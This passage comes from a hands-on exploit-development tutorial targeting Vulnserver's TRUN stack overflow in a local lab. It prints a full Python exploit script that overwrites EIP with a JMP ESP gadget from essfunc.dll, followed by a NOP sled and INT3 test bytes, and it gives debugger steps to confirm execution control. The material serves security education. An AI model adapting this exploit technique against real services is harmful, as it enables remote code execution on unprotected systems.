  • Click the Symbols tab in the main x32dbg window (it is in the tab bar alongside CPU, Log, Breakpoints, etc.).
  • In the module list on the left, find and click essfunc.dll.
  • Right-click anywhere in the right pane and select Search For, then select Pattern.
  • Enter FF E4 in the pattern field and click OK.

What is FF E4?

Every CPU instruction has an opcode, which is the raw byte sequence the processor executes. FF E4 is the x86 opcode for JMP ESP. By searching for these two bytes in the DLL's code, you are finding every location where a JMP ESP instruction exists.

The search results will show one or more addresses where FF E4 appears in essfunc.dll.

  • Look for the address 0x625011AF in the results (or note the first JMP ESP address you see).
  • Write down the address you found. You will use it in your exploit script.

Why essfunc.dll and not vulnserver.exe?

Both vulnserver.exe and essfunc.dll are compiled without ASLR, DEP, or SafeSEH. Either could work. However, essfunc.dll is where the vulnerable strcpy() lives, and it reliably contains multiple JMP ESP gadgets at consistent addresses across builds.

Your address might differ

The address 0x625011AF is the most commonly documented JMP ESP gadget in essfunc.dll. If your version shows a different address, use the address you found. The important thing is that it lives inside essfunc.dll and corresponds to a JMP ESP instruction.

Build the exploit with JMP ESP

Now you have all the pieces for a working exploit: the exact offset to EIP (2003 bytes), and a JMP ESP address inside an unprotected DLL. Your exploit will overwrite EIP with the JMP ESP address, place a NOP sled after it, and follow with INT3 breakpoints as a test payload.

What is a NOP sled?

A NOP sled is a sequence of \x90 bytes (the "No Operation" instruction). The CPU executes each one and simply moves to the next instruction. This creates a landing zone that absorbs small alignment differences between runs, ensuring execution slides smoothly into your real payload regardless of the exact ESP value.

  • Create a new file called exploit_jmp.py in the same folder as your other exploit scripts.
  • Paste the following code into exploit_jmp.py:
import socket
import struct

target_ip = "127.0.0.1"
target_port = 9999

offset = 2003

# JMP ESP address from essfunc.dll (no ASLR)
# Replace with the address you found in x64dbg
jmp_esp = struct.pack("<I", 0x625011AF)

buffer = b"A" * offset
nop_sled = b"\x90" * 16
breakpoints = b"\xCC" * 100

payload = b"TRUN /.:/ " + buffer + jmp_esp + nop_sled + breakpoints

print(f"[*] Sending JMP ESP exploit to {target_ip}:{target_port}")
print(f"[*] JMP ESP address: 0x625011AF (essfunc.dll)")
print(f"[*] Payload structure: {offset} padding + 4 EIP + 16 NOP + 100 INT3")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(payload)
s.close()

print("[*] Exploit sent! Check x64dbg - execution should hit breakpoints")

What does this code do?

This exploit builds a carefully structured payload with four sections:

  • struct.pack("<I", 0x625011AF) converts the JMP ESP address into 4 bytes in little-endian order. x86 CPUs read multi-byte values in reverse, so 0x625011AF becomes \xAF\x11\x50\x62 in memory.
  • 2003 "A" bytes fill the buffer up to exactly the saved return address on the stack.
  • The JMP ESP address replaces EIP. When the function returns, it jumps to this address instead of the original caller.
  • 16 NOP bytes (\x90) provide a safe landing zone. 100 INT3 bytes (\xCC) act as test breakpoints that will pause the debugger, proving your code is executing.
  • If you found a different JMP ESP address in the previous substep, replace 0x625011AF with your address.
  • Save exploit_jmp.py.

Not sure about the address format?

The address must be a hex integer prefixed with 0x inside struct.pack(). If your address in x64dbg shows as 625011AF, write it as 0x625011AF in the code. Do not manually reverse the bytes. struct.pack("<I", ...) handles the little-endian conversion for you.

help me understand little-endian byte order and struct.pack in Python

✔️ Awesome, I've got everything!

Great. Make sure you have saved exploit_jmp.py before continuing.

ⓧ I'd like to double check the full code

Here is the complete exploit_jmp.py for comparison:

import socket
import struct

target_ip = "127.0.0.1"
target_port = 9999

offset = 2003

# JMP ESP address from essfunc.dll (no ASLR)
# Replace with the address you found in x64dbg
jmp_esp = struct.pack("<I", 0x625011AF)

buffer = b"A" * offset
nop_sled = b"\x90" * 16
breakpoints = b"\xCC" * 100

payload = b"TRUN /.:/ " + buffer + jmp_esp + nop_sled + breakpoints

print(f"[*] Sending JMP ESP exploit to {target_ip}:{target_port}")
print(f"[*] JMP ESP address: 0x625011AF (essfunc.dll)")
print(f"[*] Payload structure: {offset} padding + 4 EIP + 16 NOP + 100 INT3")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(payload)
s.close()

print("[*] Exploit sent! Check x64dbg - execution should hit breakpoints")
Verify execution lands in your payload

The final test is to prove that execution actually jumps from the JMP ESP gadget into your NOP sled and reaches your breakpoint payload. You will set a breakpoint at the JMP ESP address, run the exploit, and step through the jump.

  • Close your current x64dbg session if it is still attached to a crashed Vulnserver.
  • Restart vulnserver.exe as Administrator.
  • In x32dbg, click File > Attach and select the new vulnserver.exe process.
  • Press F9 to let Vulnserver run.

Now set a breakpoint at your JMP ESP address so you can watch the jump happen.

  • Press Ctrl+G to open the "Go to Address" dialog.
  • Type 625011AF (or your JMP ESP address without the 0x prefix) and press Enter.
  • The disassembly view should now show your address with a jmp esp instruction.
  • Press F2 to set a breakpoint on this line. The address will highlight in red.
  • Press F9 again to resume execution.

With the breakpoint set, run your exploit to trigger the jump.

  • Open a new Command Prompt window.
  • Run the exploit by executing this command:
python exploit_jmp.py

x64dbg will pause when the breakpoint at 0x625011AF is hit. This means your overflow successfully redirected EIP to the JMP ESP gadget.

  • Look at the disassembly view. The highlighted instruction should be jmp esp.
  • Press F7 (Step Into) to execute the JMP ESP instruction.
  • After stepping, look at the disassembly. You should see a series of nop instructions (your \x90 sled) followed by int3 instructions (your \xCC breakpoints).
  • Press F9 one more time. The debugger will pause again at the first int3 instruction, confirming execution slid through the NOP sled into your payload.

What just happened?

You just demonstrated full control over program execution through a network-delivered buffer overflow. Here is the complete chain:

  • Your payload overflowed the stack buffer and overwrote the saved return address (EIP) with the address of JMP ESP inside essfunc.dll.
  • When the function returned, the CPU jumped to the JMP ESP gadget.
  • JMP ESP redirected execution to the stack, right into your NOP sled.
  • Execution slid through the NOPs and hit your INT3 breakpoints, proving you can execute arbitrary bytes delivered over the network.

Breakpoint never gets hit?

Make sure Vulnserver was freshly restarted (not still crashed from a previous run). Verify your breakpoint address matches the JMP ESP address you used in exploit_jmp.py. Also confirm you pressed F9 after setting the breakpoint so Vulnserver is actually running and accepting connections.

my x64dbg breakpoint at JMP ESP is not being hit when I run my exploit

Secret mission

Pop calc.exe with Custom Shellcode

You have confirmed full control over EIP and execution flow. But right now your exploit just hits breakpoints. Can you make it do something real? In this secret mission, you will craft shellcode that spawns calc.exe when your exploit lands.

Clean Up Your Resources

Clean Up Your Resources

Decide whether to keep your resources running, pause them to come back later, or delete them entirely. This project runs entirely locally, so there are no ongoing costs.

Resources you used:

  • Vulnserver (vulnserver.exe and essfunc.dll).
  • x64dbg (x32dbg.exe debugger).
  • Ghidra and JDK 21.
  • Ncat (installed with Nmap).
  • Python 3 and your exploit scripts (fuzzer.py, pattern_create.py, pattern_offset.py, exploit_pattern.py, exploit_confirm.py, exploit_jmp.py).

Keep everything running

No action needed. Choose this if you plan to continue experimenting with Vulnserver or want to try exploiting other commands like GMON or KSTET.

  • Make sure Vulnserver is not left running in the background when you are done for the day.
  • Keep your Ghidra project saved for future analysis.
  • Your Python scripts remain in the folder you created them in.

Pause - I'll come back to this later

Close running processes to free up memory, but keep all files and tools installed for later.

  • Close Vulnserver if it is still running (check your taskbar or Task Manager).
  • Close x64dbg.
  • Close Ghidra (it will save your project automatically).
  • Your exploit scripts and installed tools remain on disk ready for next time.

Delete - I don't want to use this again

Remove all project resources and tools from your system.

  • Delete the Vulnserver folder containing vulnserver.exe and essfunc.dll.
  • Delete the x64dbg folder (e.g. C:\x64dbg).
  • Delete your Ghidra installation folder and the Ghidra project folder.
  • Uninstall JDK 21 via Settings > Apps > Apps & features if you no longer need it.
  • Uninstall Nmap via Settings > Apps > Apps & features if you only installed it for this project.
  • Delete your Python exploit scripts (fuzzer.py, pattern_create.py, pattern_offset.py, exploit_pattern.py, exploit_confirm.py, exploit_jmp.py).
  • Keep Python 3 installed if you use it for other projects.

Nice Work!

Nice Work!

You just reverse engineered a vulnerable network server, identified a buffer overflow through static and dynamic analysis, and built a working exploit from scratch. This is the core workflow used by vulnerability researchers and exploit developers in the real world.

You've learned how to:

  • Reverse engineered Vulnserver's TRUN command handler in Ghidra, tracing the unsafe strcpy() call that enables the buffer overflow.
  • Used x64dbg to dynamically confirm the crash and pinpoint the exact EIP offset at 2003 bytes.
  • Built a complete Python exploit that redirects execution through a JMP ESP gadget in an unprotected DLL, confirming full control over program execution via a network-delivered payload.
  • Extended the exploit to execute arbitrary code (calc.exe) via custom shellcode.

Ready to quiz yourself?